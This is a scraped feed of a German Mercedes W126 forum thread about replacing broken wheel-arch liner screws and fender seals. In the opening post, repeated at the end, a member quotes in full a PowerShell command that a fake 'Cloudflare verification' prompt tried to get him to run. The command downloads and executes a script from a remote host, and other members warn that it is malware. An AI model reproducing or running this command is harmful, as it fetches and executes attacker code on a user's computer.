Guten Nachmittag, ich würde Euch nicht belästigen, wenn der "MB Teilekatalog" nicht dubiose Aktionen von mir verlangen würde. Da klappt irgendwas angeblich von "Cloudflare Menschenverifizierung" auf und man soll Windows-Taste+R und dann Strg+V drücken. Dann Enter. Siehe Bildschirmfoto. Damit würde man in der Kommandozeile folgendes ausführen: powershell -c "$a=irm 'dragonphoenixstar.cfd/3MuK9PYWoflPRxG1';$h=@{ScriptBlock=[ScriptBlock]::Create($a);Name='s'};New-Module @h|Out-Null" Ich denke mal, das macht man lieber nicht, wenn man weiß, was dann passiert. Ich weiß es nicht. Nun die Frage: Die o.g. Schrauben brechen gern ab und sind generell von minderer Beschichtungsqualität. Sie stecken in Kunststoffdingern. Manche nennen sie Dübel, aber ich glaube, die Schraube soll da nichts spreizen, denn die Teile haben zwei Rastnasen, die man recht gut eindrücken kann, wenn man dran kommt. Wie nennt sich diese Gewindeform und wo bekommt man das her, notfalls mit separater Unterlegscheibe. Wobei vermutlich jede Schraube mit Holzgewinde auch geht. Nur schraubt man mit doppelt so vielen Gewindegängen doppelt so lange. Im Original sind die wohl fest dran. Zumindest lässt sich die Schraube bei in den Schraubstock eingespannter Scheibe mit einem Maulschlüssel nicht drehen. Bei den zahlreichen Ausbrüchen, die wir wohl alle an den Radhausschalen an den Schraubstellen haben, empfehlen so ohnehin größere Unterlegscheiben. Gruß und Dank Willixx Willixx [attachment 62128 IMG_20260830_1304021.jpg] [attachment 62129 Screenshot2026-08-30131703.png] https://www.w126-forum.de/read.php?1,586255,586255#msg-586255 Tue, 06 Oct 2026 07:34:12 +0200 Phorum 5.2.19 https://www.w126-forum.de/read.php?1,586255,586278#msg-586278 https://www.w126-forum.de/read.php?1,586255,586278#msg-586278
GENAU darum gehts es mir. Nun habe ich noch nicht bei MB nachgehoert ob diese Profildichtung zu bekommen ist. Daher meine Frage, wer hat das schonmal gemacht und wenn es diese Profildichtung nicht mehr am Tresen gibt, was waere eine gute Alternative?

Gruss]]> johannes Technik Mon, 31 Aug 2026 20:11:03 +0200 https://www.w126-forum.de/read.php?1,586255,586275#msg-586275 https://www.w126-forum.de/read.php?1,586255,586275#msg-586275
Wenn Du dir schon diese Mühe machst, überleg Dir mal, ob Du dann nicht auch noch die Kotflügel runter nimmst. Irgendwelche Dichtmassen werden dadurch nicht beschädigt. Dann kannst Du wenigstens die Schwellerspitzen und A-Säulen ordentlich begutachten. Beides sind Schwachstellen, die im Alter gerne gammeln. Ich würd's machen.]]> Tilman Technik Mon, 31 Aug 2026 19:19:11 +0200 https://www.w126-forum.de/read.php?1,586255,586273#msg-586273 https://www.w126-forum.de/read.php?1,586255,586273#msg-586273
@Willix Danke fuer die tolle und klare Info. Werde ich benoetigen.

@All,
da ich die Schalen auch noch herunternehmen moechte, zwecks Renigung dahinter speziell im Bereich unterem Kotfluegel, Frage an die die schonmal die Schalen entfernt haben: Gibt es den Filz/Schaum-Streifen der den Kotfluegel zum Radhaus abdichtet noch? Wenn nicht, was waere ein guter Ersatz?
Sieht ja ein bisschen kniffelig aus, da spezielle Form und der ja auch sauber anliegen und abdichten soll.

Waere dankbar fuer Anregungen/Vorschlaege. Vielen Dank im Vorraus.

Gruss]]> johannes Technik Mon, 31 Aug 2026 18:20:46 +0200 https://www.w126-forum.de/read.php?1,586255,586271#msg-586271 https://www.w126-forum.de/read.php?1,586255,586271#msg-586271 Man kann davon ausgehen, dass es sich dabei nicht eine Systemverbesserung handeln wird sondern Schadcode.
Entweder wird Dein Rechner dann Teil eines Bot-Netzwerks, Deine Festplatte wird verschlüsselt oder was ähnliches.

Von der Ausführung dieser Befehlskette kann man nur dringend abraten!]]> Jens300SE Technik Mon, 31 Aug 2026 14:15:07 +0200 https://www.w126-forum.de/read.php?1,586255,586269#msg-586269 https://www.w126-forum.de/read.php?1,586255,586269#msg-586269
links: Edelstahl 20 x Schraube 5,5x19 plus Scheibe 6X25X1,5 = 11,50 € brutto

rechts: 1x 3,02 € brutto.



Danke für die Mithilfe

Gruß Willixx

[attachment 62131 IMG_20260831_124806.jpg]]]> Willixx Technik Mon, 31 Aug 2026 12:56:18 +0200 https://www.w126-forum.de/read.php?1,586255,586261#msg-586261 https://www.w126-forum.de/read.php?1,586255,586261#msg-586261 Willixx Technik Sun, 30 Aug 2026 22:50:28 +0200 https://www.w126-forum.de/read.php?1,586255,586260#msg-586260 https://www.w126-forum.de/read.php?1,586255,586260#msg-586260 Tilman Technik Sun, 30 Aug 2026 22:28:42 +0200 https://www.w126-forum.de/read.php?1,586255,586258#msg-586258 https://www.w126-forum.de/read.php?1,586255,586258#msg-586258 Nicht machen!]]> StefanSK Technik Sun, 30 Aug 2026 16:38:01 +0200 https://www.w126-forum.de/read.php?1,586255,586257#msg-586257 https://www.w126-forum.de/read.php?1,586255,586257#msg-586257 https://originalteile.mercedes-benz.de/schraube-abdeckung-an-seitenwand-und-weitere/a0019901236?srsltid=AfmBOoqVhVMEzGtsEPd2PB-8x9YYYEHsBF5QrodzthIAejULyTlqSb1I

Ich fahr mal zum Edelstahlfachhandel für Schrauben etc. ????

Gruß
Willixx]]> Willixx Technik Sun, 30 Aug 2026 16:07:58 +0200 https://www.w126-forum.de/read.php?1,586255,586256#msg-586256 https://www.w126-forum.de/read.php?1,586255,586256#msg-586256 Freddy671 Technik Sun, 30 Aug 2026 13:52:45 +0200 https://www.w126-forum.de/read.php?1,586255,586255#msg-586255 https://www.w126-forum.de/read.php?1,586255,586255#msg-586255 ich würde Euch nicht belästigen, wenn der "MB Teilekatalog" nicht dubiose Aktionen von mir verlangen würde. Da klappt irgendwas angeblich von "Cloudflare Menschenverifizierung" auf und man soll Windows-Taste+R und dann Strg+V drücken. Dann Enter. Siehe Bildschirmfoto. Damit würde man in der Kommandozeile folgendes ausführen: powershell -c "$a=irm 'dragonphoenixstar.cfd/3MuK9PYWoflPRxG1';$h=@{ScriptBlock=[ScriptBlock]::Create($a);Name='s'};New-Module @h|Out-Null"

Ich denke mal, das macht man lieber nicht, wenn man weiß, was dann passiert. Ich weiß es nicht.



Nun die Frage:

Die o.g. Schrauben brechen gern ab und sind generell von minderer Beschichtungsqualität. Sie stecken in Kunststoffdingern. Manche nennen sie Dübel, aber ich glaube, die Schraube soll da nichts spreizen, denn die Teile haben zwei Rastnasen, die man recht gut eindrücken kann, wenn man dran kommt.

Wie nennt sich diese Gewindeform und wo bekommt man das her, notfalls mit separater Unterlegscheibe. Wobei vermutlich jede Schraube mit Holzgewinde auch geht. Nur schraubt man mit doppelt so vielen Gewindegängen doppelt so lange. Im Original sind die wohl fest dran. Zumindest lässt sich die Schraube bei in den Schraubstock eingespannter Scheibe mit einem Maulschlüssel nicht drehen. Bei den zahlreichen Ausbrüchen, die wir wohl alle an den Radhausschalen an den Schraubstellen haben, empfehlen so ohnehin größere Unterlegscheiben.

Gruß und Dank
Willixx

Willixx
[attachment 62128 IMG_20260830_1304021.jpg]
[attachment 62129 Screenshot2026-08-30131703.png]]]> Willixx Technik Sun, 30 Aug 2026 13:35:49 +0200